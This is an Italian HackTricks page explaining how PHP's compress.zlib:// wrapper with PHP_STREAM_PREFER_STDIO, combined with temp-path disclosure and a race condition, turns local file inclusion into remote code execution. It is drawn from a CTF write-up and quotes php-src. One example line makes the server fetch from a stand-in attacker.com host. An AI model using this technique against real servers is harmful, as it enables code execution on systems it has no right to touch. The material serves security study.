5.6 KiB
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
{% hint style="success" %}
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
WhiteIntel
WhiteIntel è un motore di ricerca alimentato dal dark-web che offre funzionalità gratuite per controllare se un'azienda o i suoi clienti sono stati compromessi da malware rubatori.
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi controllare il loro sito web e provare il loro motore gratuitamente su:
{% embed url="https://whiteintel.io" %}
compress.zlib://
e PHP_STREAM_PREFER_STDIO
Un file aperto utilizzando il protocollo compress.zlib://
con il flag PHP_STREAM_PREFER_STDIO
può continuare a scrivere dati che arrivano alla connessione successivamente nello stesso file.
Questo significa che una chiamata come:
file_get_contents("compress.zlib://http://attacker.com/file")
Invierà una richiesta chiedendo http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una risposta HTTP valida, mantenere la connessione aperta e inviare dati extra qualche tempo dopo che verranno anch'essi scritti nel file.
Puoi vedere queste informazioni in questa parte del codice php-src in main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Condizione di Gara per RCE
Questo CTF è stato risolto utilizzando il trucco precedente.
L'attaccante farà in modo che il server vittima apra una connessione leggendo un file dal server dell'attaccante utilizzando il protocollo compress.zlib
.
Mentre questa connessione esiste, l'attaccante esfiltrerà il percorso del file temporaneo creato (è rivelato dal server).
Mentre la connessione è ancora aperta, l'attaccante sfrutterà un LFI caricando il file temporaneo che controlla.
Tuttavia, c'è un controllo nel server web che impedisce il caricamento di file che contengono <?
. Pertanto, l'attaccante sfrutterà una Condizione di Gara. Nella connessione che è ancora aperta, l'attaccante invierà il payload PHP DOPO che il server web ha controllato se il file contiene i caratteri vietati ma PRIMA che carichi il suo contenuto.
Per ulteriori informazioni, controlla la descrizione della Condizione di Gara e il CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
WhiteIntel
WhiteIntel è un motore di ricerca alimentato dal dark-web che offre funzionalità gratuite per controllare se un'azienda o i suoi clienti sono stati compromessi da malware rubatori.
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi controllare il loro sito web e provare il loro motore gratuitamente su:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.